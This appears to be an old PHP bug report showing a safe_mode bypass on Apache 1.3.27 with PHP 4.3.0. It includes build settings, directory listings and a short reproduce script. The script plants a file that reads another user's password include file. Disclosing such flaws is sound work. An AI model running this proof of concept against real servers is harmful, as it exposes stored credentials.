Description:
------------
apache_1.3.27
httpd.conf
----------
User webmaster
Group nobody

./configure --activate-module=src/modules/php4/libphp4.a --enable-module=rewrite

======================================
php-4.3.0
php.ini
---------
safe_mode               =       On

./configure \
--with-mysql=/usr/local \
--with-mcrypt=/usr/local/lib/libmcrypt \
--with-apache=../apache_1.3.27 \
--enable-track-vars \
--with-gd=/usr/local \
--with-interbase=/opt/interbase \
--enable-trans-sid \
--with-png-dir=/usr/local \
--with-jpeg-dir=/usr/local \
--with-zlib-dir=/usr/local \
--enable-sockets \
--with-gettext \
--with-xml \
--enable-ftp \
--with-imap=/root/.hore_imp/imap-2002.RC10 \
--with-iconv=/usr/local/

======================================

~/public_html> ls -al *
drwxr-xr-x    3 test     users        4096 aug 19 19:05 .
drwx--x--x    5 test     users        4096 aug 19 19:04 ..
-rw-r--r--    1 test     users         146 aug 19 18:47 hack.php
drwxrwxrwx    2 test     users        4096 aug 19 19:03 test

after accessing http://some_server/~test/hack.php php makes test/stole.php

~/public_html> ls -al test
drwxrwxrwx    2 test     users        4096 aug 19 19:07 .
drwxr-xr-x    3 test     users        4096 aug 19 19:05 ..
-rw-r--r--    1 webmaste nobody         61 aug 19 19:07 stole.php

after that http://some_server/~test/test/stole.php locally reads /www/secret/pass.inc.php owned by webmaster

Reproduce code:
---------------
<?
  $data='<? $data = file(\'/www/secret/pass.inc.php\'); print_r($data); ?>';
  $f=fopen('/home/test/public_html/test/stole.php', 'w');
  fwrite($f, $data);
  fclose($f);
?>